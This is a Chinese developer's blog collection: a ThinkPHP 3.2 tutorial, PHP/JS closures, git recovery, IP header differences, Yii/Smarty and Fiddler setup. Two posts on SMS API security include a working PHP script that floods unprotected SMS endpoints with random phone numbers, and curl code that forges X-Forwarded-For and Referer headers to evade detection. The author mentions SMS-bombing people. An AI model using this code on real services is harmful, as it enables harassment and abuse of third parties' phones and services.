[转]ThinkPHP3.2 快速入门

其实都是基本的MVC框架,THINKPHP的中文文档更多一些。
另外nginx不支持PATHINFO模式,我在thinkphp的配置中改为了兼容模式 : ‘URL_MODEL’ => 3,
对应的url为:http://172.30.16.212:8099/index.php?s=/Home/test/index/
这个后期还需要配置路由规则!

简介

ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,尤其注重开发体验和易用性,并且拥有众多的原创功能和特性,为WEB应用开发提供了强有力的支持。

目录结构

ThinkPHP最新版本可以在官方网站(http://thinkphp.cn/down/framework.html)或者Github(https://github.com/liu21st/thinkphp/downloads)下载。

把下载后的压缩文件解压到你的WEB目录(或者任何目录都可以),框架的目录结构为:
www WEB部署目录(或者子目录)
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录
├─Public 资源文件目录
└─ThinkPHP 框架目录
3.2版本相比之前的版本自带了一个完整的应用目录结构(Application)和默认的应用入口文件(index.php),开发人员可以在这个基础之上灵活调整(目录名称和位置)。其中,Application和Public目录下面都是空的,而README.md文件仅用于说明,实际部署的时候可以删除。

其中,ThinkPHP为框架核心目录,其目录结构如下:
├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ … 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─index.php 框架入口文件
入口文件

在开始之前,你需要一个Web服务器和PHP运行环境,如果你暂时还没有,我们推荐使用集成开发环境WAMPServer(是一个集成了Apache、PHP和MySQL的开发套件,而且支持多个PHP版本、MySQL版本和Apache版本的切换)来使用ThinkPHP进行本地开发和测试。

3.2版本开始框架自带了一个应用入口文件,默认内容如下:
define(‘APP_PATH’,’./Application/’);
require ‘./ThinkPHP/ThinkPHP.php’;
这段代码的作用就是定义应用目录和加载ThinkPHP框架的入口文件,这是所有基于ThinkPHP开发应用的第一步。

然后,在浏览器中访问运行后我们会看到欢迎页面,

这个页面比3.1版本多了一个当前访问的控制器提示,因为3.2版本支持多模块自动生成,暂且不表。

当你看到这个欢迎页面的时候,系统已经在Application下面自动生成了公共模块Common、默认的Home模块和Runtime运行时目录的目录结构:
Application
├─Common 应用公共模块
│ ├─Common 应用公共函数目录
│ └─Conf 应用公共配置文件目录
├─Home 默认生成的Home模块
│ ├─Conf 模块配置文件目录
│ ├─Common 模块函数公共目录
│ ├─Controller 模块控制器目录
│ ├─Model 模块模型目录
│ └─View 模块视图文件目录
├─Runtime 运行时目录
│ ├─Cache 模版缓存目录
│ ├─Data 数据目录
│ ├─Logs 日志目录
│ └─Temp 缓存目录模块设计

3.2版本采用模块化的设计架构,下面是一个典型的模块目录结构,每个模块可以方便的卸载和部署,并且支持公共模块(Runtime目录非模块目录)。
Application 默认应用目录(可以设置)
├─Common 公共模块(不能直接访问)
├─Home 前台模块
├─Admin 后台模块
├─… 其他更多模块
├─Runtime 默认运行时目录(可以设置)每个模块是相对独立的,其目录结构如下:
├─Module 模块目录
│ ├─Conf 配置文件目录
│ ├─Common 公共函数目录
│ ├─Controller 控制器目录
│ ├─Model 模型目录
│ ├─Logic 逻辑目录(可选)
│ ├─Service Service目录(可选)
│ … 更多分层目录可选
│ └─View 视图目录由于采用多层的MVC机制,除了Conf和Common目录外,每个模块下面的目录结构可以根据需要灵活设置和添加,所以并不拘泥于上面展现的目录。

如何生成其他模块的目录结构呢?只需要在入口文件中添加如下定义:
define(‘APP_PATH’,’./Application/’);
// 绑定入口文件到Admin模块访问
define(‘BIND_MODULE’,’Admin’);
require ‘./ThinkPHP/ThinkPHP.php’;BIND_MODULE常量定义表示绑定入口文件到某个模块,由于并不存在Admin模块,所以会在第一次访问的时候自动生成。重新访问入口文件后,就会看到Admin模块的欢迎页面:

在Application下面已经自动生成了Admin模块及其目录机构。

注意:生成以后,你需要删除刚才那段常量定义才能正常访问Home模块。

有些情况下,我们需要更改应用目录、运行时目录和框架的位置,那么可以修改入口文件如下:
// 定义应用目录
define(‘APP_PATH’,’./Apps/’);
// 定义运行时目录
define(‘RUNTIME_PATH’,’./Runtime/’);
// 更名框架目录名称,并载入框架入口文件
require ‘./Think/ThinkPHP.php’;这样最终的应用目录结构如下:
www WEB部署目录(或者子目录)
├─index.php 应用入口文件
├─Apps 应用目录
├─Public 资源文件目录
├─Runtime 运行时目录
└─Think 框架目录
调试模式

ThinkPHP支持调试模式,默认情况下是运行在部署模式下面。部署模式下面性能优先,并且尽可能少地抛出错误信息,调试模式则以除错方便优先,关闭任何缓存,而且尽可能多的抛出错误信息,所以对性能有一定的影响。部署模式采用了项目编译机制,第一次运行会对核心和项目相关文件进行编译缓存,由于编译后会影响开发过程中对配置文件、函数文件和数据库修改的生效(除非你修改后手动清空Runtime下面的缓存文件)。因此为了避免以上问题,我们强烈建议新手在使用ThinkPHP开发的过程中使用调试模式,这样可以更好的获取错误提示和避免一些不必要的问题和烦恼。

开启调试模式很简单,我们只需要在入口文件的开头加上一行常量定义代码:
define(‘APP_PATH’,’./Application/’);
define(‘APP_DEBUG’, true); // 开启调试模式
require ‘./ThinkPHP/ThinkPHP.php’;开发完成后,我们实际进行项目部署的时候,删除这行常量定义代码即可,或者改成:
define(‘APP_PATH’,’./Application/’);
define(‘APP_DEBUG’,false); // 关闭调试模式
require ‘./ThinkPHP/ThinkPHP.php’;
配置

每个应用模块都有独立的配置文件(位于模块目录的Conf/config.php),配置文件的定义格式支持PHP/JSON/YAML/INI/XML等方式,默认采用PHP数组定义,例如:

// 配置文件
return array(
‘配置参数’ => ‘配置值’,
// 更多配置参数
//…
);如果你需要为各个模块定义公共的配置文件,可以在公共模块中定义 Conf/config.php,定义格式是一样。
一旦有需要,我们就可以在配置文件中添加相关配置项目。通常我们提到的添加配置项目,就是指在项目配置文件中添加:
‘配置参数’=>’配置值’,
配置值可以支持包括字符串、数字、布尔值和数组在内的数据,通常我们建议配置参数均使用大写定义。如果有需要,我们还可以为项目定义其他的配置文件。

如果要使用其他格式的配置文件,可以在入口文件中定义CONF_EXT常量即可,例如:
define(‘CONF_EXT’,’.ini’);这样,模块的配置文件就变成了 Conf/config.ini,定义如下:
DEFAULT_MODULE = Index ;默认模块
URL_MODEL = 2 ;URL模式更多的配置定义请参考后续的内容。

控制器

需要为每个模块定义一个控制器类,控制器类的命名规范是:
模块名+Controller.class.php (模块名采用驼峰法并且首字母大写)

系统的默认模块是Index,对应的控制器就是模块目录下面的Controller/IndexController.class.php,类名和文件名一致。默认操作是index,也就是控制器的一个public方法。初次生成项目目录结构的时候,系统已经默认生成了一个默认控制器(就是之前看到的欢迎页面),我们把index方法改成下面的代码:
‘-‘,// 更改PATHINFO参数分隔符
我们可以支持下面的URL访问:
http://localhost/index.php/home-user-login-var-value
REWRITE模式:是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则。
如果是Apache则需要在入口文件的同级添加.htaccess文件,内容如下:

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]

接下来就可以使用下面的URL地址访问了
http://localhost/app/module/action/var/value/
兼容模式:是用于不支持PATHINFO的特殊环境,URL地址是:
http://localhost/?s=/home/user/login/var/value
兼容模式配合Web服务器重写规则的定义,可以达到和REWRITE模式一样的URL效果。

视图

ThinkPHP内置了一个编译型模板引擎,也支持原生的PHP模板,并且还提供了包括Smarty在内的模板引擎驱动。和Smarty不同,ThinkPHP在渲染模板的时候如果不指定模板,则会采用系统默认的定位规则,其定义规范默认是模块目录下面的 View/控制器名/操作名.html,所以,Index模块的index操作的默认模板文件位于Home模块目录下面的View/Index/index.html,我们添加模板内容如下:


hello {$name}


hello, {$name}!


要输出视图,必须在控制器方法中进行模板渲染输出操作,例如:
assign(‘name’,’thinkphp’);
$this->display();
}
}
display方法中我们没有指定任何模板,所以按照系统默认的规则输出了Index/index.html模板文件。
接下来,我们在浏览器访问输出:

hello,thinkphp!

读取数据

在开始之前,我们首先在数据库thinkphp中创建一个think_data数据表(以mysql数据库为例):
CREATE TABLE IF NOT EXISTS `think_data`(
`id`int(8)unsigned NOT NULL AUTO_INCREMENT,
`data` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;
INSERT INTO `think_data`(`id`,`data`) VALUES
(1,’thinkphp’),
(2,’php’),
(3,’framework’);
如果我们需要读取数据库中的数据,就需要在模块配置文件中添加数据库连接信息如下:
// 添加数据库配置信息
‘DB_TYPE’=>’mysql’,// 数据库类型
‘DB_HOST’=>’localhost’,// 服务器地址
‘DB_NAME’=>’thinkphp’,// 数据库名
‘DB_USER’=>’root’,// 用户名
‘DB_PWD’=>”,// 密码
‘DB_PORT’=>3306,// 端口
‘DB_PREFIX’=>’think_’,// 数据库表前缀
或者采用如下配置
‘DB_DSN’=>’mysql://root@localhost:3306/thinkphp’,
‘DB_PREFIX’=>’think_’,// 数据库表前缀
使用DB_DSN方式定义可以简化配置参数,DSN参数格式为:
数据库类型://用户名:密码@数据库地址:数据库端口/数据库名

如果两种配置参数同时存在的话,DB_DSN配置参数优先。

接下来,我们修改下控制器方法,添加读取数据的代码:
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index(){
$Data = M(‘Data’);// 实例化Data数据模型
$result = $Data->find(1);
$this->assign(‘result’,$result);
$this->display();
}
}
这里用到了M函数,是ThinkPHP内置的实例化模型的方法,而且用M方法实例化模型不需要创建对应的模型类,你可以理解为M方法是直接在操作底层的Model类,而Model类具备基本的CURD操作方法。

M(‘Data’) 实例化后,就可以对think_data数据表(think_ 是我们在项目配置文件中定义的数据表前缀)进行操作(包括CURD)了,M函数的用法还有很多,我们以后会深入了解。
定义好控制器后,我们修改模板文件,添加数据输出标签如下:





{$result.id}–{$result.data}

volist标签是内置模板引擎用于输出数据集的标签。{$vo.id} 和 {$vo.data} 的用法和Smarty类似,就是用于输出数据的字段,这里就表示输出think_data表的id和data字段的值。
我们访问会输出:
1–thinkphp
如果发生错误,检查你是否开启了调试模式或者清空Runtime目录下面的缓存文件。
如果你看到了上面的输出结果,那么恭喜你已经拿到了入门ThinkPHP的钥匙!

总结

本篇我们学习了ThinkPHP的目录结构、URL模式,如何创建项目的入口文件和开启调试模式,以及控制器、模板和模型的基础认识,后面会继续了解对数据的CURD操作。

[转]js和php中的闭包函数

一 Php闭包函数
匿名函数
提到闭包就不得不想起匿名函数,也叫闭包函数(closures),貌似PHP闭包实现主要就是靠它。声明一个匿名函数是这样:

$func = function() {

}; //带结束符
可以看到,匿名函数因为没有名字,如果要使用它,需要将其返回给一个变量。匿名函数也像普通函数一样可以声明参数,调用方法也相同:

$func = function( $param ) {
echo $param;
};

$func( ‘some string’ );

//输出:
//some string

顺便提一下,PHP在引入闭包之前,也有一个可以创建匿名函数的函数:create function,但是代码逻辑只能写成字符串,这样看起来很晦涩并且不好维护,所以很少有人用。

实现闭包
将匿名函数在普通函数中当做参数传入,也可以被返回。这就实现了一个简单的闭包。

下边有三个例子

?
//例一
//在函数里定义一个匿名函数,并且调用它
function printStr() {
$func = function( $str ) {
echo $str;
};
$func( ‘some string’ );
}

printStr();

//例二
//在函数中把匿名函数返回,并且调用它
function getPrintStrFunc() {
$func = function( $str ) {
echo $str;
};
return $func;
}

$printStrFunc = getPrintStrFunc();
$printStrFunc( ‘some string’ );

//例三
//把匿名函数当做参数传递,并且调用它
function callFunc( $func ) {
$func( ‘some string’ );
}

$printStrFunc = function( $str ) {
echo $str;
};
callFunc( $printStrFunc );

//也可以直接将匿名函数进行传递。如果你了解js,这种写法可能会很熟悉
callFunc( function( $str ) {
echo $str;
} );

连接闭包和外界变量的关键字:USE
闭包可以保存所在代码块上下文的一些变量和值。PHP在默认情况下,匿名函数不能调用所在代码块的上下文变量,而需要通过使用use关键字。

换一个例子看看:

?

function getMoney() {
$rmb = 1;
$dollar = 6;
$func = function() use ( $rmb ) {
echo $rmb;
echo $dollar;
};
$func();
}

getMoney();

//输出:
//1
//报错,找不到dorllar变量
可以看到,dollar没有在use关键字中声明,在这个匿名函数里也就不能获取到它,所以开发中要注意这个问题。

有人可能会想到,是否可以在匿名函数中改变上下文的变量,但我发现是不可以的:

function getMoney() {
$rmb = 1;
$func = function() use ( $rmb ) {
echo $rmb;
//把$rmb的值加1
$rmb++;
};
$func();
echo $rmb;
}

getMoney();

//输出:
//1
//1
啊,原来use所引用的也只不过是变量的一个副本而已。但是我想要完全引用变量,而不是复制。

要达到这种效果,其实在变量前加一个 & 符号就可以了:

function getMoney() {
$rmb = 1;
$func = function() use ( &$rmb ) {
echo $rmb;
//把$rmb的值加1
$rmb++;
};
$func();
echo $rmb;
}

getMoney();

//输出:
//1
//2
好,这样匿名函数就可以引用上下文的变量了。如果将匿名函数返回给外界,匿名函数会保存use所引用的变量,而外界则不能得到这些变量,这样形成‘闭包’这个概念可能会更清晰一些。

根据描述改变一下上面的例子:

function getMoneyFunc() {
$rmb = 1;
$func = function() use ( &$rmb ) {
echo $rmb;
//把$rmb的值加1
$rmb++;
};
return $func;
}

$getMoney = getMoneyFunc();
$getMoney();
$getMoney();
$getMoney();

//输出:
//1
//2
//3

二 JS中的闭包
一、变量的作用域
要理解闭包,首先必须理解Javascript特殊的变量作用域。
变量的作用域无非就是两种:全局变量和局部变量。
Javascript语言的特殊之处,就在于函数内部可以直接读取全局变量。

Js代码
  var n=999;
  function f1(){
    alert(n);
  }
  f1(); // 999
另一方面,在函数外部自然无法读取函数内的局部变量。
Js代码
  function f1(){
    var n=999;
  }
  alert(n); // error
这里有一个地方需要注意,函数内部声明变量的时候,一定要使用var命令。如果不用的话,你实际上声明了一个全局变量!
Js代码
  function f1(){
    n=999;
  }
  f1();
  alert(n); // 999
——————————————————————————————————–
二、如何从外部读取局部变量?
出于种种原因,我们有时候需要得到函数内的局部变量。但是,前面已经说过了,正常情况下,这是办不到的,只有通过变通方法才能实现。
那就是在函数的内部,再定义一个函数。
Js代码
  function f1(){
    n=999;
    function f2(){
      alert(n); // 999
    }
  }
在上面的代码中,函数f2就被包括在函数f1内部,这时f1内部的所有局部变量,对f2都是可见的。但是反过来就不行,f2内部的局部变量,对f1 就是不可见的。这就是Javascript语言特有的“链式作用域”结构(chain scope),
子对象会一级一级地向上寻找所有父对象的变量。所以,父对象的所有变量,对子对象都是可见的,反之则不成立。
既然f2可以读取f1中的局部变量,那么只要把f2作为返回值,我们不就可以在f1外部读取它的内部变量了吗!

Js代码
  function f1(){
    n=999;
    function f2(){
      alert(n);
    }
    return f2;
  }
  var result=f1();
  result(); // 999
——————————————————————————————————–
三、闭包的概念
上一节代码中的f2函数,就是闭包。
各种专业文献上的“闭包”(closure)定义非常抽象,很难看懂。我的理解是,闭包就是能够读取其他函数内部变量的函数。
由于在Javascript语言中,只有函数内部的子函数才能读取局部变量,因此可以把闭包简单理解成“定义在一个函数内部的函数”。
所以,在本质上,闭包就是将函数内部和函数外部连接起来的一座桥梁。
——————————————————————————————————–b
四、闭包的用途
闭包可以用在许多地方。它的最大用处有两个,一个是前面提到的可以读取函数内部的变量,另一个就是让这些变量的值始终保持在内存中。
怎么来理解这句话呢?请看下面的代码。

Js代码
  function f1(){
    var n=999;
    nAdd=function(){n+=1}
    function f2(){
      alert(n);
    }
    return f2;
  }
  var result=f1();
  result(); // 999
  nAdd();
  result(); // 1000
在这段代码中,result实际上就是闭包f2函数。它一共运行了两次,第一次的值是999,第二次的值是1000。这证明了,函数f1中的局部变量n一直保存在内存中,并没有在f1调用后被自动清除。
为什么会这样呢?原因就在于f1是f2的父函数,而f2被赋给了一个全局变量,这导致f2始终在内存中,而f2的存在依赖于f1,因此f1也始终在内存中,不会在调用结束后,被垃圾回收机制(garbage collection)回收。
这段代码中另一个值得注意的地方,就是“nAdd=function(){n+=1}”这一行,首先在nAdd前面没有使用var关键字,因此 nAdd是一个全局变量,而不是局部变量。其次,nAdd的值是一个匿名函数(anonymous function),而这个
匿名函数本身也是一个闭包,所以nAdd相当于是一个setter,可以在函数外部对函数内部的局部变量进行操作。

[API]注册短信接口的安全问题(二)

之前有说过利用curl请求没有保护的短信接口,可以再增加一点迷惑性,让对方op不容易察觉。
可以轻松构造IP和referer url

        curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:8.8.8.8', 'CLIENT-IP:8.8.8.8'));  //构造IP
        curl_setopt($ch, CURLOPT_REFERER, "http://www.google.com/ ");   //构造来路
        curl_setopt($ch, CURLOPT_HEADER, 1);

之后在access log中的信息
8.8.8.8 – – [04/Nov/2015:13:29:15 +0800] “GET /test/ HTTP/1.1” 200 378 0.030 “http://www.google.com/” “test” “172.30.16.212”

php中的$_SERVER信息(部分):
“HTTP_REFERER\”:\”http:\\\/\\\/www.google.com\\\/\”,\”HTTP_X_FORWARDED_FOR\”:\”8.8.8.8\”,\”HTTP_CLIENT_IP\”:\”8.8.8.8\”

不过 “REMOTE_ADDR\”:\”172.30.16.212\” 这个remote_addr 还是暴露了~
发现还是有一些效果的!!另外这个ip地址最好随机一下,更不容易察觉.
另外百度给的很多获取IP的方式都是

function getIp(){
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
   return $_SERVER['HTTP_CLIENT_IP']; 
}elseif(!empty($_SERVER['HTTP_X_FORVARDED_FOR'])){
   return $_SERVER['HTTP_X_FORVARDED_FOR'];
}elseif(!empty($_SERVER['REMOTE_ADDR'])){
   return $_SERVER['REMOTE_ADDR'];
}else{
   return "未知IP";
}

估计可以蒙蔽一些不完善的系统!!

[转]git reset –hard恢复删除的文件

简单的说就是git add . 后执行了, git reset –hard ,文件就丢失了!!

最终从stackOverflow上找出了解决方法~

恢复已提交文件的方法

使用 git reflog 来找到最近提交的信息:

F:\voidy>git reflog

WARNING: terminal is not fully functional

5ccb94c HEAD@{2}: commit: 设计模式汇总

ba944a7 HEAD@{3}: commit: 组合模式

49bf0f5 HEAD@{4}: commit: 状态模式

这里贴出部分信息。

使用 git reset ID 来恢复文件(第一列为ID),举个栗子:

比如说 设计模式汇总 ,那么执行 git reset 5ccb94c 好了,如果是一般的情况到此已经解决了。但是,我没有提交啊。那么该怎么办?

恢复未提交文件的方法

下面是stackoverFlow上一些人提供的方法

If you didn’t already commit your local changes (or at least stage them via `git add`, they’re gone. `git reset –hard` is a destructive operation for uncommitted changes.

If you did happen to stage them, but didn’t commit them, try `git fsck –lost-found` and then search through the contents of .git/lost-found – it will contain all of the objects that aren’t referenced by a known commit, and may include versions of files that were staged.

You can recover anything you git added, with git fsck –lost-found and poke around in .git/lost-found. find .git/objects -type f | xargs ls -lt | sed 60q will give you the last 60 things to get added to the repo, that’ll help.

Anything you didn’t git add is gone as surely as if you’d deleted it yourself.
我总结一下吧,其实呢,就两步:

执行 find .git/objects -type f | xargs ls -lt | sed 60q ,这里 60q 的意思是最近60次的add,然后会出来这么个东东:

$ find .git/objects -type f | xargs ls -lt | sed 60q
-r–r–r–. 1 work work 1380 Nov 3 18:02 .git/objects/34/7e3e6c3fae1093b20e39db1452b58a0dbca824
-r–r–r–. 1 work work 1657 Nov 3 18:02 .git/objects/ed/1d83a04109177e99345aa2f975d203ae93cea1
-r–r–r–. 1 work work 1830 Nov 3 18:02 .git/objects/24/82de9bd75b7f860d2f1369f03b1b1a44de080c
-r–r–r–. 1 work work 279 Nov 3 16:15 .git/objects/13/600579436b919248698541f769c6c990400491
-r–r–r–. 1 work work 448 Nov 3 16:15 .git/objects/47/ecba243042abd236a1a87b0903f361d993ba85
-r–r–r–. 1 work work 280 Nov 3 16:15 .git/objects/bf/a6a79c525705b432034530e8981cf19828ca11

此处仅仅截取一部分信息,然后就是恢复了。

使用 git cat-file -p ID > a.md ,解释一下这个命令,就是将ID所示的文件读取出来重定向保存到 a.md 文件内,ID是objects后面的一串东西,比如第一个就是 0218fb759136a0ee550d2e4d179f01bd75af48a0 。(PS:需要将之间的 / 去掉)。
好了,以上。对了,忘了说了,恢复未提交的文件仅仅是 git add 过的,如果你连 git add 也没有执行,那么我就不晓得怎么做了,如果你知道的话,请告诉我,另外,一定要记着,没事不要执行 git reset –hard ~然后网上的教程什么的也不要轻信,要时刻对知识抱有一种怀疑的态度,包括本文~
原文地址:http://www.tuicool.com/articles/mqm2uiF

[转]REMOTE_ADDR,HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR的区别

$_SERVER和getenv的区别,getenv不支持IIS的isapi方式运行的php

一、没有使用代理服务器的情况:

REMOTE_ADDR = 您的 IP
HTTP_VIA = 没数值或不显示
HTTP_X_FORWARDED_FOR = 没数值或不显示

二、使用透明代理服务器的情况:Transparent Proxies

REMOTE_ADDR = 最后一个代理服务器 IP
HTTP_VIA = 代理服务器 IP
HTTP_X_FORWARDED_FOR = 您的真实 IP ,经过多个代理服务器时,这个值类似如下:203.98.182.163, 203.98.182.163, 203.129.72.215。

这类代理服务器还是将您的信息转发给您的访问对象,无法达到隐藏真实身份的目的。

三、使用普通匿名代理服务器的情况:Anonymous Proxies

REMOTE_ADDR = 最后一个代理服务器 IP
HTTP_VIA = 代理服务器 IP
HTTP_X_FORWARDED_FOR = 代理服务器 IP ,经过多个代理服务器时,这个值类似如下:203.98.182.163, 203.98.182.163, 203.129.72.215。

隐藏了您的真实IP,但是向访问对象透露了您是使用代理服务器访问他们的。

四、使用欺骗性代理服务器的情况:Distorting Proxies

REMOTE_ADDR = 代理服务器 IP
HTTP_VIA = 代理服务器 IP
HTTP_X_FORWARDED_FOR = 随机的 IP ,经过多个代理服务器时,这个值类似如下:203.98.182.163, 203.98.182.163, 203.129.72.215。

告诉了访问对象您使用了代理服务器,但编造了一个虚假的随机IP代替您的真实IP欺骗它。

五、使用高匿名代理服务器的情况:High Anonymity Proxies (Elite proxies)

REMOTE_ADDR = 代理服务器 IP
HTTP_VIA = 没数值或不显示
HTTP_X_FORWARDED_FOR = 没数值或不显示 ,经过多个代理服务器时,这个值类似如下:203.98.182.163, 203.98.182.163, 203.129.72.215。

完全用代理服务器的信息替代了您的所有信息,就象您就是完全使用那台代理服务器直接访问对象。

REMOTE_ADDR 是你的客户端跟你的服务器“握手”时候的IP。如果使用了“匿名代理”,REMOTE_ADDR将显示代理服务器的IP。
HTTP_CLIENT_IP 是代理服务器发送的HTTP头。如果是“超级匿名代理”,则返回none值。同样,REMOTE_ADDR也会被替换为这个代理服务器的IP。
$_SERVER[‘REMOTE_ADDR’]; //访问端(有可能是用户,有可能是代理的)IP
$_SERVER[‘HTTP_CLIENT_IP’]; //代理端的(有可能存在,可伪造)
$_SERVER[‘HTTP_X_FORWARDED_FOR’]; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)

[API]注册短信接口的安全问题

目前很多小网站的短信发送接口还比较low,既没有图形验证码,短信验证又比较短,很轻易就被脚本攻击,多次访问接口发送短信,然后暴力破解验证码。之前的抽奖接口就被匿名人士访问了上亿次。这里很简单就可以做一个暴力接口短信访问脚本:

<?php 
$url = "http://XXXXXXXXXXXXXXXXXXXX";//有短信请求的API
for($i = 0; $i < 4; $i ++) {
    $mobile = "1371". mt_rand(0000000, 9999999);
    $post = array("mobile" => $mobile);
    $res = query($url, array(), $post);
    $res = json_decode($res, true);   
    $msg  =  iconv('UTF-8', 'GB2312', $res["message"]);
    echo $mobile;
    echo "\n\t";
    echo $msg;
}

function query($url, $get=array(), $post = array()) {

    $urlPrefix = $url;
    
    $query = http_build_query($get);
    $url = $urlPrefix.(strpos($urlPrefix, "?") ? "&" : "?") . $query;

    $opt = array(
            CURLOPT_RETURNTRANSFER  => TRUE,         
            CURLOPT_HEADER          => FALSE,        
            CURLOPT_FOLLOWLOCATION  => FALSE,        
            CURLOPT_ENCODING        => "",           
     
            CURLOPT_AUTOREFERER     => TRUE,        
            CURLOPT_CONNECTTIMEOUT  => 1,  
            CURLOPT_TIMEOUT         => 5,         
            CURLOPT_SSL_VERIFYHOST  => 0,        
            CURLOPT_SSL_VERIFYPEER  => FALSE,     
            CURLOPT_VERBOSE         => FALSE,       
    );
    
    $ch = curl_init();
    curl_setopt_array($ch, $opt);
    
    curl_setopt($ch, CURLOPT_URL, $url);
    if($post) {
        $post = http_build_query($post);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    $raw   = curl_exec($ch);
    $errno = curl_errno($ch);

    if ($errno == CURLE_COULDNT_CONNECT) {
        echo "connect wrong {$url}";
        die();
    }

    return $raw;
}

本人随便测试了个彩票网站接口,竟然可以连续发短信,我想可以利用这个对某些人进行短信轰炸了!
一般注册网页均采用https的安全连接,发短信前有图形验证码,同一号码不能请求多次等情况,很多方式可以避免,在设计注册和登录上要特别注意。

[转]yii smarty 的另一种render

smarty库放在extentsion目录下
按照约定我们同在protected下的extensions(Yii的扩展默认都扔到这里)中建立CSmarty类文件。

内容如下:
file:webapp/protected/extensions/CSmarty.php
_smarty = new Smarty();
$this->_smarty->template_dir = SMARTY_VIEW_DIR.DS.’tpl’;
$this->_smarty->compile_dir = SMARTY_VIEW_DIR.DS.’tpl_c’;
$this->_smarty->caching = false;
$this->_smarty->cache_dir = SMARTY_VIEW_DIR.DS.’cache’;
$this->_smarty->config_dir = SMARTY_VIEW_DIR.DS.’config’;
$this->_smarty->cache_lifetime = 3600;
}
}

?>

然后建立相关联的文件夹。

最后是我们的配置部分
打开protected/config/main.php

在components数组中加入
‘smarty’=>array(
‘class’=>’application.extensions.CSmarty’,
),

方案1:
action:
$smarty = Yii::app()->smarty;
$smarty->_smarty->display(‘test.tpl’);
方案2:
在\protected\components\Controller.php里加一个成员函数

function myRender (page, data=array(), engine=”)
{
if(‘smarty’=strtolower(engine){
$smarty = Yii::app()->smarty;
foreach($data as $key => $value){
$smarty->_smarty->assign( key , $value);
}
$smarty->_smarty->display( page );
}else{
$this->render(page, data);
}
}
action:
$this->myRender(‘test.tpl’);
这样使用方法,驱动可以任意切换。

[转]用Fiddler抓取Android、Iphone网络数据包

原文地址:http://blog.csdn.net/fyifei0558/article/details/30283937
主要介绍Android及IPhone手机上如何进行网络数据抓包,比如我们想抓某个应用(微博、微信、墨迹天气)的网络通信请求就可以利用这个方法。

相对于tcpdump配合wireshark抓包的优势在于:(1)无需root (2)对Android和Iphone同样适用 (3)操作更简单方便(第一次安装配置,第二次只需设置代理即可) (4)数据包的查看更清晰易懂,Fiddler的UI更简单明了 (5) 可以查看https请求。如果你坚持使用tcpdump也可见:利用tcpdump和wireshark抓取网络数据包。

PS:需要1台PC做辅助,且PC需要与手机在同一局域网内或有独立公网ip
1、PC端安装Fiddler
下载地址:Fiddler.exe,下面是Fiddler的简单介绍:
Fiddler是强大且好用的Web调试工具之一,它能记录客户端和服务器的http和https请求,允许你监视,设置断点,甚至修改输入输出数据,Fiddler包含了一个强大的基于事件脚本的子系统,并且能使用.net语言进行扩展,在web开发和调优中经常配合firebug使用。
Fiddler的运行机制其实就是本机上监听8888端口的HTTP代理。 对于PC端Fiddler启动的时候默认IE的代理设为了127.0.0.1:8888,而其他浏览器是需要手动设置的,所以如果需要监听PC端Chrome网络请求,将其代理改为127.0.0.1:8888就可以监听数据了,手机端按照下面的设置即可完成整个系统的http代理。

2、 配置PC端Fiddler和手机
(1) 配置Fiddler允许监听https
打开Fiddler菜单项Tools->Fiddler Options,选中decrypt https traffic和ignore server certificate errors两项,如下图:
fiddler https options
第一次会提示是否信任fiddler证书及安全提醒,选择yes,之后也可以在系统的证书管理中进行管理。

(2) 配置Fiddler允许远程连接
如上图的菜单中点击connections,选中allow remote computers to connect,默认监听端口为8888,若被占用也可以设置,配置好后需要重启Fiddler,如下图:
fiddler remote connect

(3) 配置手机端
Pc端命令行ipconfig查看Fiddler所在机器ip,本机ip为10.0.4.37,如下图
ipconfig
手机端浏览器访问http://10.0.4.37:8888,即Fiddler所在机器ip加上端口,代理上网。显示如下图页面:
fiddler certifacate
点击FiddlerRoot certificate下载证书并重命名

如何未设置锁屏密码,可能会提示”您需要先设置锁屏密码才能使用凭据存储”,点击确定进行设置。
之后打开手机连接到同一局域网的wifi,并修改该wifi网络详情->显示高级选项,选择手动代理设置,主机名填写Fiddler所在机器ip,端口填写Fiddler端口,默认8888,如下图:
android network proxy

这时,手机上的网络访问在Fiddler就可以查看了,如下图微博和微信的网络请求:
微信抓数据包
可以双击上图某一行网络请求,右侧会显示具体请求内容(Request Header)和返回内容(Response Header and Content),如下图:
微博网络拦截
可以发现Fiddler可以以各种格式查看网络请求返回的数据,包括Header, TextView(文字), ImageView(图片), HexView(十六进制),WebView(网页形式), Auth(Proxy-Authenticate Header), Caching(Header cache), Cookies, Raw(原数据格式), JSON(json格式), XML(xml格式)很是方便。

停止网络监控的话去掉wifi的代理设置即可,否则Fiddler退出后手机就上不网了哦。

如果需要恢复手机无密码状态,Android端之后可以通过系统设置-安全-受信任的凭据-用户,点击证书进行删除或清除凭据删除所有用户证书,再设置密码为无。

如果只需要监控一个软件,可结合系统流量监控,关闭其他应用网络访问的权限。

[笔记]常用命令

总是有命令记不住,这里保存下
一 vim中替换
表示查找并替换
%s/a/b/g
a 被查找的字符串(正则匹配);b 要替换成的文字;g 表示全局搜索替换(否则只处理找到的第一个结果)

二 shell
